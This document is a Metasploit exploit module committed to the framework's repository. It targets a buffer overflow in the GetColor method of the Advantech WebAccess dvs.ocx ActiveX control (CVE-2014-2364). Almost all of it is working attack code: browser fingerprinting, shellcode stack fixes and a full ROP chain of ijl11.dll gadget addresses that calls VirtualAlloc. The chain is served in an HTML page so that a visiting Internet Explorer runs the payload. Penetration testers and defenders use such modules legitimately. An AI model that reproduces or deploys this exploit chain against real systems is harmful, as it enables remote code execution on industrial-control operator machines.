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Land rapid7#3814 - Advantech WebAccess dvs.ocx GetColor BoF
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‎modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb

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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow vulnerability in Advantec WebAccess. The
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vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to
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sprintf can be reached with user controlled data through the GetColor function.
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This module has been tested successfully on Windows XP SP3 with IE6 and Windows
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7 SP1 with IE8 and IE 9.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2014-2364'],
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['ZDI', '14-255'],
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['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02']
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],
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'DefaultOptions' =>
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{
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'Retries' => false,
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'InitialAutoRunScript' => 'migrate -f'
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},
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => Msf::OperatingSystems::WINDOWS,
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:ua_name => /MSIE/i,
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:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
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:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
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:method => "GetColor"
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},
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'BadChars' => "\x00\x0a\x0d\x5c",
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# Patch the stack to execute the decoder...
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'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100
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# Fix the stack again, this time better :), before the payload
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# is executed.
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'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
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"\x83\xC0\x08" + # add eax, byte 8
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"\x8b\x20" + # mov esp, [eax]
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"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000
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},
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Automatic', { } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 17 2014'))
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end
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def on_request_exploit(cli, request, target_info)
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print_status("Requested: #{request.uri}")
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content = <<-EOS
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<html>
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<head>
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<meta http-equiv="cache-control" content="max-age=0" />
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<meta http-equiv="cache-control" content="no-cache" />
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<meta http-equiv="expires" content="0" />
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<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
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<meta http-equiv="pragma" content="no-cache" />
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</head>
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<body>
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<object classid='clsid:5CE92A27-9F6A-11D2-9D3D-000001155641' id='test' /></object>
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<script language='javascript'>
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test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0);
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</script>
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</body>
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</html>
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EOS
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print_status("Sending #{self.name}")
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send_response_html(cli, content, {'Pragma' => 'no-cache'})
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end
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# Uses gadgets from ijl11.dll 1.1.2.16
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def rop_payload(code)
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xpl = rand_text_alphanumeric(61) # offset
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xpl << [0x60014185].pack("V") # RET
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xpl << rand_text_alphanumeric(8)
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# EBX = dwSize (0x40)
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xpl << [0x60012288].pack("V") # POP ECX # RETN
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xpl << [0xffffffff].pack("V") # ecx value
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xpl << [0x6002157e].pack("V") # POP EAX # RETN
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xpl << [0x9ffdafc9].pack("V") # eax value
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xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
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xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
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xpl << [0x60018084].pack("V") # POP EBP # RETN
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xpl << rand_text_alphanumeric(4) # padding
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xpl << rand_text_alphanumeric(4) # padding
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xpl << rand_text_alphanumeric(4) # padding
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xpl << rand_text_alphanumeric(4) # padding
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xpl << [0x60029f6c].pack("V") # .data ijl11.dll
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xpl << [0x60012288].pack("V") # POP ECX # RETN
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xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)
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xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret
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# EDX = flAllocationType (0x1000)
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xpl << [0x60012288].pack("V") # POP ECX # RETN
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xpl << [0xffffffff].pack("V") # ecx value
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xpl << [0x6002157e].pack("V") # POP EAX # RETN
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xpl << [0x9ffdbf89].pack("V") # eax value
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xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
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xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
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# ECX = flProtect (0x40)
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xpl << [0x6002157e].pack("V") # POP EAX # RETN
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xpl << rand_text_alphanumeric(4) # padding
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xpl << rand_text_alphanumeric(4) # padding
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xpl << rand_text_alphanumeric(4) # padding
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xpl << rand_text_alphanumeric(4) # padding
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xpl << [0x60029f6c].pack("V") # .data ijl11.dll
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xpl << [0x60012288].pack("V") # POP ECX # RETN
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xpl << [0xffffffff].pack("V") # ecx value
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0x41.times do
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xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN
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end
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# EAX = ptr to &VirtualAlloc()
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xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll]
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xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll]
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# EBP = POP (skip 4 bytes)
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xpl << [0x6002054b].pack("V") # POP EBP # RETN
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xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn)
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# ESI = ptr to JMP [EAX]
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xpl << [0x600181cc].pack("V") # POP ESI # RETN
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xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax])
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# EDI = ROP NOP (RETN)
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xpl << [0x60021ad1].pack("V") # POP EDI # RETN
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xpl << [0x60021ad2].pack("V") # ptr to &(retn)
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# ESP = lpAddress (automatic)
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# PUSHAD # RETN
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xpl << [0x60018399].pack("V") # PUSHAD # RETN
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xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn)
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xpl << code
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xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string
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xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping
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xpl
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end
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end

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